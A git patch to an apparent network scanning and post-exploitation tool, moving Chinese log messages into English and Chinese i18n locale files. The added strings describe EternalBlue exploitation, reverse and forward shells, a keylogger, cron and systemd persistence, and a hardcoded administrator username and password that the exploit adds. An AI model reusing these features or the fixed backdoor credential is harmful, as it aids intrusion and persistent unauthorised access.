From 73cbe803c4f497d7e3877d55abebc1440c9b5a33 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 23 May 2026 15:18:40 +0800 Subject: [PATCH] Expand i18n coverage --- common/config_builder.go | 11 +- common/debug/debug.go | 46 +- common/flag_web.go | 10 +- common/globals.go | 6 +- common/i18n/locales/en.yaml | 946 ++++++++++++++++++++++++++++++ common/i18n/locales/zh.yaml | 944 +++++++++++++++++++++++++++++ common/initialize.go | 8 +- common/network.go | 10 +- common/output/writers.go | 12 +- common/progress_manager.go | 14 +- common/proxy/constants.go | 34 +- common/session.go | 8 +- core/adaptive_pool.go | 3 +- core/alive_scanner.go | 2 +- core/base_scan_strategy.go | 2 +- core/icmp.go | 7 +- core/local_scanner.go | 2 +- core/port_scan.go | 44 +- core/portfinger/match_engine.go | 4 +- core/portfinger/probe_parser.go | 14 +- core/service_probe.go | 14 +- core/service_scanner.go | 2 +- core/web_scanner.go | 2 +- mylib/grdp/emission/emitter.go | 2 +- mylib/grdp/login/screen.go | 6 +- mylib/grdp/protocol/pdu/data.go | 2 +- plugins/local/cleaner.go | 6 +- plugins/local/cleaner_windows.go | 22 +- plugins/local/crontask.go | 42 +- plugins/local/forwardshell.go | 20 +- plugins/local/keylogger.go | 46 +- plugins/local/ldpreload.go | 42 +- plugins/local/minidump.go | 80 +-- plugins/local/reverseshell.go | 18 +- plugins/local/socks5proxy.go | 42 +- plugins/local/sshkey.go | 14 +- plugins/local/systemdservice.go | 46 +- plugins/local/systeminfo.go | 2 +- plugins/local/winbits.go | 22 +- plugins/local/winifeo.go | 14 +- plugins/local/winlogon.go | 18 +- plugins/local/winregistry.go | 20 +- plugins/local/winschtask.go | 10 +- plugins/local/winservice.go | 8 +- plugins/local/winstartup.go | 12 +- plugins/local/winwmi.go | 6 +- plugins/services/activemq.go | 12 +- plugins/services/cassandra.go | 4 +- plugins/services/elasticsearch.go | 2 +- plugins/services/findnet.go | 19 +- plugins/services/ftp.go | 4 +- plugins/services/kafka.go | 2 +- plugins/services/ldap.go | 2 +- plugins/services/memcached.go | 4 +- plugins/services/mongodb.go | 14 +- plugins/services/ms17010.go | 94 +-- plugins/services/neo4j.go | 2 +- plugins/services/netbios.go | 29 +- plugins/services/oracle.go | 4 +- plugins/services/postgresql.go | 4 +- plugins/services/rabbitmq.go | 4 +- plugins/services/rdp.go | 10 +- plugins/services/redis.go | 18 +- plugins/services/rsync.go | 12 +- plugins/services/smb.go | 12 +- plugins/services/smb_protocol.go | 26 +- plugins/services/smtp.go | 12 +- plugins/services/ssh.go | 12 +- plugins/services/telnet.go | 12 +- plugins/web/webpoc.go | 5 +- plugins/web/webtitle.go | 7 +- tools/perftest/perftest.go | 36 +- web/api/result.go | 26 +- webscan/fingerprint/enhanced.go | 12 +- webscan/lib/Client.go | 47 +- webscan/lib/Eval.go | 16 +- webscan/lib/poc_adapter.go | 17 +- webscan/lib/poc_executor.go | 28 +- webscan/web_scan.go | 8 +- 79 files changed, 2540 insertions(+), 621 deletions(-) diff --git a/common/config_builder.go b/common/config_builder.go index 0d7ff8b..a08c9d2 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/shadow1ng/fscan/common/config" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/parsers" ) @@ -28,12 +29,12 @@ func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) { // 3. 解析凭据 if err := parseCredentials(fv, cfg); err != nil { - return nil, nil, fmt.Errorf("凭据解析失败: %w", err) + return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_credentials_parse_failed"), err) } // 4. 解析目标(主机、端口、URL) if err := parseTargets(fv, info, cfg, state); err != nil { - return nil, nil, fmt.Errorf("目标解析失败: %w", err) + return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_targets_parse_failed"), err) } // 5. 应用日志级别 @@ -101,7 +102,7 @@ func parseUsernames(fv *FlagVars) []string { if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil { usernames = append(usernames, lines...) } else { - LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err)) + LogError(i18n.Tr("config_read_users_failed", fv.UsersFile, err)) } } @@ -131,7 +132,7 @@ func parsePasswords(fv *FlagVars) []string { if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil { passwords = append(passwords, lines...) } else { - LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err)) + LogError(i18n.Tr("config_read_passwords_failed", fv.PasswordsFile, err)) } } @@ -251,7 +252,7 @@ func parseURLs(fv *FlagVars) []string { urls = append(urls, normalizeURL(line)) } } else { - LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err)) + LogError(i18n.Tr("config_read_urls_failed", fv.URLsFile, err)) } } diff --git a/common/debug/debug.go b/common/debug/debug.go index eaa29a4..97c8878 100644 --- a/common/debug/debug.go +++ b/common/debug/debug.go @@ -9,6 +9,8 @@ import ( "runtime" "runtime/pprof" "runtime/trace" + + "github.com/shadow1ng/fscan/common/i18n" ) var ( @@ -19,82 +21,82 @@ var ( func Start() { if err := os.MkdirAll(profilesPath, 0755); err != nil { - fmt.Printf("[DEBUG] 创建 profiles 目录失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_profiles_failed", err)) return } var err error cpuProfile, err = os.Create(profilesPath + "/cpu.prof") if err != nil { - fmt.Printf("[DEBUG] 创建 CPU profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_cpu_profile_failed", err)) } else { if err := pprof.StartCPUProfile(cpuProfile); err != nil { - fmt.Printf("[DEBUG] 启动 CPU profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_cpu_profile_failed", err)) cpuProfile.Close() cpuProfile = nil } else { - fmt.Printf("[DEBUG] CPU profiling 已启动 -> %s/cpu.prof\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_cpu_profile_started", profilesPath)) } } traceFile, err = os.Create(profilesPath + "/trace.out") if err != nil { - fmt.Printf("[DEBUG] 创建 trace 文件失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_trace_failed", err)) } else { if err := trace.Start(traceFile); err != nil { - fmt.Printf("[DEBUG] 启动 trace 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_trace_failed", err)) traceFile.Close() traceFile = nil } else { - fmt.Printf("[DEBUG] Execution trace 已启动 -> %s/trace.out\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_trace_started", profilesPath)) } } - fmt.Printf("[DEBUG] 性能分析已启动,程序结束时自动保存到 %s/\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_profiling_started", profilesPath)) } func Stop() { if cpuProfile != nil { pprof.StopCPUProfile() cpuProfile.Close() - fmt.Printf("[DEBUG] CPU profile 已保存\n") + fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_cpu_profile_saved")) } if traceFile != nil { trace.Stop() traceFile.Close() - fmt.Printf("[DEBUG] Trace 已保存\n") + fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_trace_saved")) } memProfile, err := os.Create(profilesPath + "/mem.prof") if err != nil { - fmt.Printf("[DEBUG] 创建内存 profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_mem_profile_failed", err)) } else { runtime.GC() if err := pprof.WriteHeapProfile(memProfile); err != nil { - fmt.Printf("[DEBUG] 写入内存 profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_mem_profile_failed", err)) } else { - fmt.Printf("[DEBUG] 内存 profile 已保存 -> %s/mem.prof\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_mem_profile_saved", profilesPath)) } memProfile.Close() } goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof") if err != nil { - fmt.Printf("[DEBUG] 创建 goroutine profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_goroutine_profile_failed", err)) } else { if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil { - fmt.Printf("[DEBUG] 写入 goroutine profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_goroutine_profile_failed", err)) } else { - fmt.Printf("[DEBUG] Goroutine profile 已保存 -> %s/goroutine.prof\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_goroutine_profile_saved", profilesPath)) } goroutineProfile.Close() } - fmt.Printf("\n[DEBUG] 所有性能分析文件已保存到 %s/\n", profilesPath) - fmt.Printf("[DEBUG] 查看方法:\n") - fmt.Printf(" CPU 火焰图: go tool pprof -http=:8081 %s/cpu.prof\n", profilesPath) - fmt.Printf(" 内存火焰图: go tool pprof -http=:8081 %s/mem.prof\n", profilesPath) - fmt.Printf(" 协程分析: go tool pprof -http=:8081 %s/goroutine.prof\n", profilesPath) - fmt.Printf(" 执行时间线: go tool trace %s/trace.out\n", profilesPath) + fmt.Printf("\n[DEBUG] %s\n", i18n.Tr("debug_profiles_saved", profilesPath)) + fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_view_methods")) + fmt.Printf(" %s: go tool pprof -http=:8081 %s/cpu.prof\n", i18n.GetText("debug_cpu_flamegraph"), profilesPath) + fmt.Printf(" %s: go tool pprof -http=:8081 %s/mem.prof\n", i18n.GetText("debug_mem_flamegraph"), profilesPath) + fmt.Printf(" %s: go tool pprof -http=:8081 %s/goroutine.prof\n", i18n.GetText("debug_goroutine_analysis"), profilesPath) + fmt.Printf(" %s: go tool trace %s/trace.out\n", i18n.GetText("debug_execution_timeline"), profilesPath) } diff --git a/common/flag_web.go b/common/flag_web.go index 937a506..9d6a647 100644 --- a/common/flag_web.go +++ b/common/flag_web.go @@ -2,7 +2,11 @@ package common -import "flag" +import ( + "flag" + + "github.com/shadow1ng/fscan/common/i18n" +) // WebMode 表示是否启动Web管理界面 var WebMode bool @@ -11,6 +15,6 @@ var WebMode bool var WebPort int func init() { - flag.BoolVar(&WebMode, "web", false, "启动Web管理界面 (Start Web UI)") - flag.IntVar(&WebPort, "webport", 10240, "Web服务器端口 (Web server port)") + flag.BoolVar(&WebMode, "web", false, i18n.GetText("flag_web_mode")) + flag.IntVar(&WebPort, "webport", 10240, i18n.GetText("flag_web_port")) } diff --git a/common/globals.go b/common/globals.go index b201478..0453bf8 100644 --- a/common/globals.go +++ b/common/globals.go @@ -5,6 +5,8 @@ import ( "fmt" "strings" "sync" + + "github.com/shadow1ng/fscan/common/i18n" ) /* @@ -92,9 +94,9 @@ type PacketLimitError struct { func (e *PacketLimitError) Error() string { if e.Sentinel == ErrMaxPacketReached { - return fmt.Sprintf("已达到最大发包数量限制: %d", e.Limit) + return i18n.Tr("packet_limit_max_reached", e.Limit) } - return fmt.Sprintf("发包速率受限: %d包/分钟", e.Limit) + return i18n.Tr("packet_limit_rate_limited", e.Limit) } func (e *PacketLimitError) Unwrap() error { diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index 1da43c5..5680f90 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -146,6 +146,10 @@ flag_language: other: "Language: zh, en" flag_help: other: "Show help information" +flag_web_mode: + other: "Start Web management UI" +flag_web_port: + other: "Web server port" # ========================= Scan Mode Messages ========================= scan_mode_service_selected: other: "Service scan mode selected" @@ -195,6 +199,12 @@ progress_scanning_description: other: "Scanning Progress" progress_scan_completed: other: "Scan Completed:" +progress_waiting: + other: "waiting..." +progress_done: + other: "Done" +progress_duration: + other: "duration" concurrency_plugin: other: "Plugins" concurrency_local_plugin: @@ -243,12 +253,26 @@ parser_start_gt_end: other: "Start IP greater than end IP" network_rate_limited: other: "Rate limited: {{.Arg1}}" +tcp_connection_restricted: + other: "TCP connection {{.Arg1}} restricted: {{.Arg2}}" +http_request_restricted: + other: "HTTP request {{.Arg1}} restricted: {{.Arg2}}" +proxy_dialer_failed: + other: "Failed to get proxy dialer: {{.Arg1}}" +connection_failed: + other: "Connection {{.Arg1}} failed: {{.Arg2}}" +packet_limit_max_reached: + other: "Maximum packet count reached: {{.Arg1}}" +packet_limit_rate_limited: + other: "Packet rate limited: {{.Arg1}} packets/minute" target_local_mode: other: "Local scan mode" param_conflict_ao_icmp_both: other: "Note: Both -ao and -m icmp specified, both enable alive detection mode" param_local_multi_plugin: other: "Only a single local plugin can be specified, multiple plugins separated by '{{.Arg1}}' are not supported" +param_join_and: + other: "{{.Arg1}} and {{.Arg2}}" # ========================= Parser Messages ========================= parser_empty_input: @@ -267,6 +291,20 @@ parser_hash_invalid_format: # ========================= Config Messages ========================= config_web_timeout_warning: other: "Web timeout is larger than normal timeout, may cause unexpected behavior" +config_build_failed: + other: "Configuration build failed" +output_init_failed: + other: "Output initialization failed" +config_credentials_parse_failed: + other: "Credential parsing failed" +config_targets_parse_failed: + other: "Target parsing failed" +config_read_users_failed: + other: "Failed to read username file {{.Arg1}}: {{.Arg2}}" +config_read_passwords_failed: + other: "Failed to read password file {{.Arg1}}: {{.Arg2}}" +config_read_urls_failed: + other: "Failed to read URL file {{.Arg1}}: {{.Arg2}}" # ========================= Plugin Scan Messages (with parameters) ========================= scan_plugin_not_found: @@ -383,6 +421,48 @@ port_open_http: other: "Port open {{.Arg1}} [http](HTTP probe)" port_scan_no_alive_subnet: other: "Subnet probe found no alive subnets, skipping port scan" +network_rate_limited_pattern: + other: "Rate limited" +port_scan_debug_start: + other: "[PortScan] start: {{.Arg1}} hosts, threads={{.Arg2}}" +port_scan_debug_ports_parsed: + other: "[PortScan] ports parsed: {{.Arg1}} ports" +proxy_echo_warning: + other: "Proxy echo-all behavior detected, port scan results may be inaccurate" +port_scan_debug_total_tasks: + other: "[PortScan] total tasks: {{.Arg1}}" +large_scan_notice: + other: "Large scan: {{.Arg1}} targets ({{.Arg2}} hosts x {{.Arg3}} ports)" +large_scan_thread_adjusted: + other: "Adjusted thread count: {{.Arg1}} -> {{.Arg2}} (large scan optimization)" +port_scan_progress_description: + other: "Port scanning ({{.Arg1}} threads)" +port_scan_debug_progress_ready: + other: "[PortScan] progress bar initialized" +port_scan_debug_pool_create: + other: "[PortScan] creating worker pool, size={{.Arg1}}" +port_scan_debug_pool_created: + other: "[PortScan] worker pool created" +port_scan_debug_schedule_start: + other: "[PortScan] starting sliding-window schedule" +port_scan_debug_schedule_done: + other: "[PortScan] sliding-window schedule completed" +proxy_verify_failed: + other: "Proxy verification failed {{.Arg1}}: {{.Arg2}}" +proxy_error_response: + other: "Proxy returned error response {{.Arg1}}" +proxy_probe_write_failed: + other: "Probe write failed {{.Arg1}}: {{.Arg2}}" +proxy_probe_error_response: + other: "Proxy probe returned error {{.Arg1}}" +proxy_connection_rejected: + other: "Proxy connection rejected {{.Arg1}}: {{.Arg2}}" +proxy_no_response_closed: + other: "Proxy connection had no response, treating port as closed {{.Arg1}}" +subnet_prefilter_start: + other: "Subnet prefilter: {{.Arg1}} /24 subnets, {{.Arg2}} hosts" +subnet_prefilter_done: + other: "Subnet prefilter complete: {{.Arg1}} alive (gateway hits {{.Arg2}}), {{.Arg3}} skipped, {{.Arg4}} hosts remaining" # ========================= Local Scan Messages ========================= local_plugin_info: @@ -439,6 +519,28 @@ start_web_scan: other: "Starting web scan" start_scan: other: "Starting scan" +plugin_list_summary: + other: "{{.Arg1}} ... {{.Arg2}} total" +service_probe_empty_response: + other: "Response data is empty" +service_probe_microsoft_ds: + other: "Special handling for microsoft-ds service" +service_probe_identified: + other: "Service identified: {{.Arg1}}, Banner: {{.Arg2}}" +service_probe_http_identified: + other: "Identified as HTTP service" +service_probe_unknown: + other: "Unknown service" +service_probe_soft_match: + other: "Soft-matched service: {{.Arg1}}" +icmp_debug_all_responded: + other: "[ICMP] all responded, elapsed {{.Arg1}}" +icmp_debug_max_wait: + other: "[ICMP] max wait reached {{.Arg1}}, alive {{.Arg2}}/{{.Arg3}}" +icmp_debug_stable_done: + other: "[ICMP] response stable, ending early, elapsed {{.Arg1}}, alive {{.Arg2}}/{{.Arg3}}" +adaptive_pool_resource_exhausted: + other: "[AdaptivePool] resource exhaustion rate {{.Arg1}}%, threads {{.Arg2}} -> {{.Arg3}}" # ========================= Service Plugin Messages ========================= # Format: {service}_{type} - type: credential/unauth/service/vuln @@ -562,6 +664,654 @@ ms17010_pipe_decrypt_error: other: "Pipe request decryption error: {{.Arg1}}" ms17010_pipe_decode_error: other: "Pipe request decoding error: {{.Arg1}}" +ms17010_port_only: + other: "MS17-010 detection only supports port 445" +ms17010_vuln_banner: + other: "MS17-010 vulnerability ({{.Arg1}})" +ms17010_not_vulnerable: + other: "Target is not vulnerable to MS17-010" +ms17010_exploit_header: + other: "=== MS17-010 exploitation result - {{.Arg1}} ===" +ms17010_exploit_check_failed: + other: "[Vulnerability check failed] {{.Arg1}}" +ms17010_exploit_not_vulnerable: + other: "[Vulnerability status] Target is not vulnerable to MS17-010" +ms17010_exploit_confirmed: + other: "[Vulnerability confirmed] MS17-010 vulnerability exists" +ms17010_exploit_os: + other: "[Operating system] {{.Arg1}}" +ms17010_exploit_backdoor_found: + other: "[Backdoor check] DOUBLEPULSAR backdoor found" +ms17010_exploit_backdoor_not_found: + other: "[Backdoor check] DOUBLEPULSAR backdoor not found" +ms17010_exploit_mode: + other: "[Exploit mode] {{.Arg1}}" +ms17010_exploit_start_attack: + other: "[Exploit status] Starting EternalBlue attack..." +ms17010_exploit_failed: + other: "[Exploit result] Exploit failed: {{.Arg1}}" +ms17010_exploit_success: + other: "[Exploit result] Exploit completed successfully" +ms17010_exploit_bind_hint: + other: "[Connection hint] Use the following command to connect to Bind Shell:" +ms17010_exploit_add_hint: + other: "[Access hint] Administrator account added. Connect with:" +ms17010_exploit_add_credential: + other: " Username: sysadmin Password: 1qaz@WSX!@#4" +ms17010_exploit_guest_hint: + other: "[Access hint] Guest account enabled. Remote connection is available" +ms17010_exploit_detect_only: + other: "[Exploit mode] Detection only (shellcode not configured)" +ms17010_exploit_shellcode_hint: + other: "[Hint] Use -sc to configure shellcode for exploitation" +ms17010_exploit_supported_modes: + other: " Supported modes: bind, add, guest, or custom shellcode" +ms17010_base64_decode_failed: + other: "base64 decode failed" +ms17010_aes_cipher_failed: + other: "Failed to create AES cipher block" +ms17010_ciphertext_too_short: + other: "Ciphertext is too short" +ms17010_invalid_padding: + other: "Invalid padding" +ms17010_padding_check_failed: + other: "Padding validation failed" +ms17010_connection_error: + other: "Connection error" +ms17010_set_timeout_error: + other: "Set timeout error" +ms17010_send_protocol_error: + other: "Send protocol request error" +ms17010_smbv1_unsupported: + other: "Target may not support SMBv1" +ms17010_smbv1_rejected: + other: "SMBv1 protocol negotiation rejected" +ms17010_send_session_error: + other: "Send session request error" +ms17010_session_failed: + other: "SMB session setup failed" +ms17010_session_rejected: + other: "SMB session rejected" +ms17010_send_tree_error: + other: "Send tree connect request error" +ms17010_read_tree_error: + other: "Read tree connect response error" +ms17010_tree_response_incomplete: + other: "Tree connect response incomplete" +ms17010_send_pipe_error: + other: "Send pipe request error" +ms17010_read_pipe_error: + other: "Read pipe response error" +ms17010_pipe_response_incomplete: + other: "Pipe response incomplete" +ms17010_bind_shellcode_decrypt_failed: + other: "Failed to decrypt bind shellcode" +ms17010_add_shellcode_decrypt_failed: + other: "Failed to decrypt add shellcode" +ms17010_guest_shellcode_decrypt_failed: + other: "Failed to decrypt guest shellcode" +ms17010_shellcode_file_read_failed: + other: "Failed to read shellcode file" +ms17010_invalid_shellcode: + other: "Invalid shellcode" +ms17010_shellcode_decode_failed: + other: "Shellcode decode failed" +findnet_discovery_failed: + other: "Network discovery failed" +findnet_hostname: + other: "Hostname: {{.Arg1}}" +findnet_ipv4_count: + other: "IPv4: {{.Arg1}}" +findnet_ipv6_count: + other: "IPv6: {{.Arg1}}" +findnet_complete: + other: "Network information collection completed" +findnet_rpc_request1_failed: + other: "Failed to send RPC request 1" +findnet_rpc_response1_failed: + other: "Failed to read RPC response 1" +findnet_rpc_request2_failed: + other: "Failed to send RPC request 2" +findnet_rpc_response2_failed: + other: "Failed to read RPC response 2" +netbios_port_only: + other: "NetBIOS plugin only supports ports 137 and 139" +netbios_info_not_found: + other: "No valid NetBIOS information found" +netbios_name_connect_failed: + other: "Failed to connect to NetBIOS name service" +netbios_query_send_failed: + other: "Failed to send NetBIOS query" +netbios_response_read_failed: + other: "Failed to read NetBIOS response" +netbios_session_connect_failed: + other: "Failed to connect to NetBIOS session service" +netbios_smb_negotiate_send_failed: + other: "Failed to send SMB negotiate request 1" +netbios_smb_negotiate_read_failed: + other: "Failed to read SMB negotiate response 1" +netbios_smb_session_send_failed: + other: "Failed to send SMB Session Setup" +netbios_smb_session_read_failed: + other: "Failed to read SMB Session Setup response" +netbios_response_too_short: + other: "NetBIOS response data is too short" +netbios_no_name_records: + other: "No NetBIOS name records" +netbios_smb_response_too_short: + other: "SMB response data is too short" +rdp_port_closed: + other: "RDP port is not open" +rdp_remote_desktop_service: + other: "RDP remote desktop service" +ssh_service_banner: + other: "SSH service: {{.Arg1}}" +kafka_auth_required: + other: "Kafka (authentication required)" +oracle_connect_failed: + other: "Failed to connect to Oracle database" +oracle_default_account_banner: + other: "Unauthorized access - default account" +ftp_anonymous_access_detail: + other: "FTP {{.Arg1}} anonymous access - {{.Arg2}}:{{.Arg3}}" +ftp_anonymous_banner: + other: "FTP anonymous access" +unauthorized_access: + other: "Unauthorized access" +redis_ping_failed: + other: "redis PING test failed: {{.Arg1}}" +redis_service_pong: + other: "Redis service (PONG response)" +redis_service_auth_required: + other: "Redis service (authentication required)" +redis_service_protocol_response: + other: "Redis service (protocol response)" +redis_service_plain: + other: "Redis service" +redis_key_file_read_failed: + other: "Failed to read key file {{.Arg1}}: {{.Arg2}}" +redis_key_file_empty: + other: "Key file {{.Arg1}} is empty" +redis_host_format_invalid: + other: "Invalid host address format" +smtp_anonymous_mail_allowed: + other: "Unauthorized access - anonymous mail sending allowed" +smtp_open_relay: + other: "Unauthorized access - open relay" +smtp_vrfy_user_enum: + other: "Unauthorized access - VRFY user enumeration ({{.Arg1}})" +smtp_expn_list_enum: + other: "Unauthorized access - EXPN mailing list enumeration ({{.Arg1}})" +smtp_mail_service_info: + other: "SMTP mail service ({{.Arg1}})" +smtp_mail_service: + other: "SMTP mail service" +auth_required: + other: "Authentication required" +empty_response_received: + other: "Received empty response" +unexpected_status_code: + other: "Unexpected status code" +unknown_status_code: + other: "Unknown error, status code" +ldap_all_dn_failed: + other: "All DN formats failed" +memcached_access_failed: + other: "Failed to access Memcached service" +memcached_connect_failed: + other: "Failed to connect to Memcached service" +rsync_connect_failed: + other: "Failed to connect to Rsync service" +rsync_modules_failed: + other: "Failed to get module list" +rsync_unauth_modules: + other: "Unauthorized access - available modules: {{.Arg1}}" +rsync_service_info: + other: "Rsync service ({{.Arg1}})" +rsync_file_sync_service: + other: "Rsync file synchronization service" +rabbitmq_guest_default_password: + other: "Unauthorized access - guest default password" +cassandra_no_auth_cluster: + other: "Cassandra (no authentication, cluster: {{.Arg1}})" +cassandra_auth_required: + other: "Cassandra (authentication required)" +telnet_unauth_service: + other: "Telnet remote terminal service (unauthorized access)" +telnet_auth_required: + other: "Telnet remote terminal service (authentication required)" +telnet_password_only: + other: "Telnet remote terminal service (password only)" +telnet_custom_welcome: + other: "Telnet remote terminal service (custom welcome: {{.Arg1}})" +telnet_remote_terminal_service: + other: "Telnet remote terminal service" +postgresql_trust_unauth: + other: "Unauthorized access (trust authentication)" +postgresql_trust_unauth_version: + other: "Unauthorized access (trust authentication) - {{.Arg1}}" +activemq_stomp_send_failed: + other: "Failed to send STOMP request" +activemq_stomp_read_failed: + other: "Failed to read STOMP response" +activemq_stomp_empty_response: + other: "STOMP returned no response data" +activemq_stomp_auth_error: + other: "STOMP authentication error" +activemq_stomp_unknown_response: + other: "Unknown STOMP response format" +smb_port_only: + other: "SMB plugin only supports ports 139 and 445" +smb_probe_failed: + other: "SMB protocol probe failed" +smb_unauth_domain_access: + other: "SMB {{.Arg1}} unauthorized access - {{.Arg2}}\\{{.Arg3}}:{{.Arg4}}" +smb_unauth_access: + other: "SMB {{.Arg1}} unauthorized access - {{.Arg2}}:{{.Arg3}}" +smb_anonymous_access_detail: + other: "SMB {{.Arg1}} anonymous access - {{.Arg2}}:{{.Arg3}}" +smb_anonymous_banner: + other: "SMB anonymous access" +smbv1_negotiate_send_failed: + other: "Failed to send SMBv1 negotiate packet" +smbv1_negotiate_read_failed: + other: "Failed to read SMBv1 negotiate response: {{.Arg1}}" +smbv1_session_send_failed: + other: "Failed to send SMBv1 Session Setup" +smbv1_session_read_failed: + other: "Failed to read SMBv1 Session Setup response" +smbv2_negotiate_send_failed: + other: "Failed to send SMBv2 negotiate packet" +smbv2_negotiate_read_failed: + other: "Failed to read SMBv2 negotiate response" +smbv2_session_send_failed: + other: "Failed to send SMBv2 Session Setup" +smbv2_session_read_failed: + other: "Failed to read SMBv2 Session Setup response" +smbv2_ntlm_send_failed: + other: "Failed to send SMBv2 NTLM packet" +smbv2_ntlm_read_failed: + other: "Failed to read SMBv2 NTLM response" +connection_timeout: + other: "Connection timed out" +netbios_header_too_short: + other: "NetBIOS header too short" +message_length_too_large: + other: "Message length too large" +local_target: + other: "Target: {{.Arg1}}" +local_platform: + other: "Platform: {{.Arg1}}" +local_listen_port: + other: "Listen port: {{.Arg1}}" +local_output_file: + other: "Output file: {{.Arg1}}" +local_start_time: + other: "Start time: {{.Arg1}}" +unsupported_platform: + other: "Unsupported platform: {{.Arg1}}" +unsupported_os: + other: "Unsupported operating system: {{.Arg1}}" +connection_failed_plain: + other: "Connection failed" +listen_port_failed: + other: "Failed to listen on port" +command_timeout: + other: "Command execution timed out" +command_exec_failed: + other: "Command execution failed: {{.Arg1}}" +command_success_no_output: + other: "(Command completed successfully with no output)" +command_error_with_output: + other: "Error: {{.Arg1}}\n{{.Arg2}}" +reverseshell_header: + other: "=== Go native reverse shell ===" +reverseshell_error: + other: "Reverse shell error: {{.Arg1}}" +reverseshell_done: + other: "✓ Reverse shell completed" +forwardshell_header: + other: "=== Forward shell server ===" +forwardshell_server_error: + other: "Forward shell server error: {{.Arg1}}" +forwardshell_done: + other: "✓ Forward shell service completed" +socks5_header: + other: "=== SOCKS5 proxy server ===" +socks5_server_error: + other: "SOCKS5 proxy server error: {{.Arg1}}" +socks5_done: + other: "✓ SOCKS5 proxy completed" +socks5_handshake_read_failed: + other: "Failed to read handshake request" +socks5_unsupported_version: + other: "Unsupported SOCKS version" +socks5_handshake_write_failed: + other: "Failed to send handshake response" +socks5_request_read_failed: + other: "Failed to read connection request" +socks5_invalid_request: + other: "Invalid SOCKS5 request" +socks5_unsupported_command: + other: "Unsupported command" +ipv4_address_invalid: + other: "Invalid IPv4 address format" +domain_format_invalid: + other: "Invalid domain format" +domain_length_invalid: + other: "Invalid domain length" +ipv6_address_invalid: + other: "Invalid IPv6 address format" +socks5_unsupported_address_type: + other: "Unsupported address type" +socks5_target_connect_failed: + other: "Failed to connect to target server" +local_address_unavailable: + other: "Unable to get local address" +socks5_success_response_failed: + other: "Failed to send success response" +socks5_proxy_connection_established: + other: "Proxy connection established: {{.Arg1}}" +keylogger_header: + other: "=== Keylogger ===" +keylogger_output_permission_failed: + other: "Output file permission check failed: {{.Arg1}}" +platform_requirement_failed: + other: "Platform requirement check failed: {{.Arg1}}" +keylogger_failed: + other: "Keylogging failed: {{.Arg1}}" +keylogger_failed_plain: + other: "Keylogging failed" +keylogger_done: + other: "✓ Keylogging completed" +keylogger_event_count: + other: "Captured event count: {{.Arg1}}" +keylogger_log_file: + other: "Log file: {{.Arg1}}" +output_file_create_failed: + other: "Unable to create output file {{.Arg1}}" +output_file_open_failed: + other: "Unable to open output file" +keylogger_log_header: + other: "=== Keylog ===" +keylogger_header_write_failed: + other: "Failed to write header information" +keylogger_entry_write_failed: + other: "Failed to write keylog entry" +keylogger_demo_windows: + other: "Demo keylog - Windows platform" +keylogger_demo_linux: + other: "Demo keylog - Linux platform" +keylogger_demo_darwin: + other: "Demo keylog - macOS platform" +command_read_failed: + other: "Failed to read command" +local_target_file: + other: "Target file: {{.Arg1}}" +persistence_file_required: + other: "Specify target file path with -persistence-file" +target_file_not_specified: + other: "Target file not specified" +target_file_not_exist: + other: "Target file does not exist: {{.Arg1}}" +copy_file_failed: + other: "✗ Failed to copy file: {{.Arg1}}" +file_copied_to: + other: "✓ File copied to: {{.Arg1}}" +persistence_complete_summary: + other: "Persistence completed: success({{.Arg1}}) total({{.Arg2}})" +crontask_linux_only: + other: "Cron task persistence only supports Linux" +crontab_unavailable: + other: "crontab command is unavailable" +crontask_header: + other: "=== Cron task persistence ===" +crontask_user_add_failed: + other: "✗ Failed to add user cron task: {{.Arg1}}" +crontask_user_added: + other: "✓ User crontab task added" +crontask_system_add_failed: + other: "✗ Failed to add system cron task: {{.Arg1}}" +crontask_system_added: + other: "✓ System cron task added: {{.Arg1}}" +crontask_at_add_failed: + other: "✗ Failed to add at task: {{.Arg1}}" +crontask_at_added: + other: "✓ at delayed task added" +crontask_anacron_add_failed: + other: "✗ Failed to add anacron task: {{.Arg1}}" +crontask_anacron_added: + other: "✓ anacron task added" +persistence_dir_create_failed: + other: "Unable to create persistence directory" +crontask_system_create_none: + other: "Unable to create any system cron task" +systemdservice_linux_only: + other: "System service persistence only supports Linux" +systemctl_unavailable: + other: "systemctl command is unavailable: {{.Arg1}}" 